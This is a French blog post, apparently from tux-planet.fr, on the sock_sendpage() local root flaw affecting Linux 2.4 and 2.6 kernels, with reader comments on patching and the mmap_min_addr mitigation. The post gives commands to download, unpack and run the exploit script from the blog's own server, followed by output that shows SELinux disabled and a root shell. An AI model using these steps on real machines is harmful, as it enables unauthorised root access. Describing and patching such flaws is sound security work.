Linux Kernel 2.x sock_sendpage() Local Root Exploit
Une nouvelle faille de sécurité a été découverte dans le noyau Linux pour les versions inférieures ou égales à la 2.6.30.4. L'exploit permet à un simple utilisateur de passer root. La seule solution pour contrer ce type d'attaque est de mettre à jour son système.
wget www.tux-planet.fr/public/hack/exploits/kernel/sock-sendpage-local-root-exploit.tar.gz
tar zxvf sock-sendpage-local-root-exploit.tar.gz && cd sock-sendpage-local-root-exploit
chmod 755 wunderbar_emporium.sh
./wunderbar_emporium.sh
...
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0a0ee58
[+] Resolved selinux_enabled to 0xc089c4c4
[+] Resolved security_ops to 0xc0a0d62c
[+] Resolved default_security_ops to 0xc089bfe4
[+] Resolved sel_read_enforce to 0xc053f56e
[+] Resolved audit_enabled to 0xc09d734c
[+] Resolved commit_creds to 0xc044bc69
[+] Resolved prepare_kernel_cred to 0xc044baca
[+] got ring0!
[+] detected 2.6 style 4k stacks
[+] Disabled security of : SELinux
[+] Got root!sh-4.0# id
uid=0(root) gid=0(root) context=system_u:system_r:kernel_t:s0
La faille de sécurité se situe au niveau d'une fonction appelée sock_sendpage(). Celle-ci ne vérifie pas correctement la taille d'un pointeur avant de le déréférencer. Toutes les versions du noyau Linux publiées depuis mai 2001 sont concernées :
- Linux 2.4, de la version 2.4.4 à la version 2.4.37.4
- Linux 2.6, de la version 2.6.0 à la version 2.6.30.4
15 Commentaires pour "Linux Kernel 2.x sock_sendpage() Local Root Exploit"
Flux des commentaires de cet article Ajouter un commentairePour info, un patch a été publié par Linus Tolvards. Ce dernier permet de combler cette faille de sécurité.
Ouch ça fait mal :/ je fais la maj.
oula méchant ça...
Là ou ça fait vraiment mal, c'est que cet exploit concerne 8 ans de version du noyau Linux. J'ose même pas imaginer le nombre de machines concernées.
Sinon, sur certaines distributions on peut avoir ce message :
En gros, pour des distributions non sécurisées (sans SELinux par exemple), l'exploit passe par Pulseaudio. On obtient donc ce message si le binaire /usr/bin/pulseaudio n'est pas suid (c'est le cas sous certaine Ubuntu, comme la 9.10 par exemple. Sous Fedora ou Ubuntu 9.04 il est bien suid).
On peut contourner le problème avec la commande suivante :
Mais il faut déjà être root, donc aucun intérêt.
L'exploit ne fonctionne que si la valeur de /proc/sys/vm/mmap_min_addr est à zéro.
Chez moi (sur une Ubuntu 8.04 LTS) le mmap_min_addr est a 65536 par défaut donc l'exploit ne marche pas.
Si le votre est à zéro il suffit de changer cette valeur pour être protégé: C''est donc une solution très simple pour boucher ce trou de sécurité.
@patrick_g : Moi personnellement je n'est pas de /proc/sys/vm/mmap_min_addr et la faille fonctionne aussi. :S
Belle faille, je viens également de tester sur ma dernière Ubuntu, c'est passé facilement.
Comme tu dis pti-seb, 8 ans de versions Linux qui risque d'être mis à mal, c'est pas bon ça
C'est quand même super violent comme faille ! Je m'en vais de ce pas, patcher tout ça !
@c4software : Si tu n'a pas proc/sys/vm/mmap_min_addr et que l'exploit fonctionne je pense que c'est parce que tu a SELinux non ?
@patrick_g : Heu je ne suis pas sur, j'ai testé sur une vieille machine virtuelle fonctionnant sous Ubuntu 6.06. Qui ne possède pas SELinux
Testé chez mon hébergeur (Gandi) : Un kernel oops non fatal et c'est reparti sans problème. En même temps les noyaux Xen font souvent péter un cable aux exploits
Mais on peut voir que du code C est executé... si on a pas de compilateur sur la machine c'est bon ça marche plus ... ??
Ou bien chmod sur gcc ??
Fait mal quand meme ce genre de chose ....
@tioumen : un hacker peut sans problème compiler le binaire sur sa propre machine et l'envoyer ensuite sur l'ordinateur cible. Et là, plus besoin d'avoir de compilateur ...
The file is missing...
@fx0 : the exploit file is not missing. Please re-check ...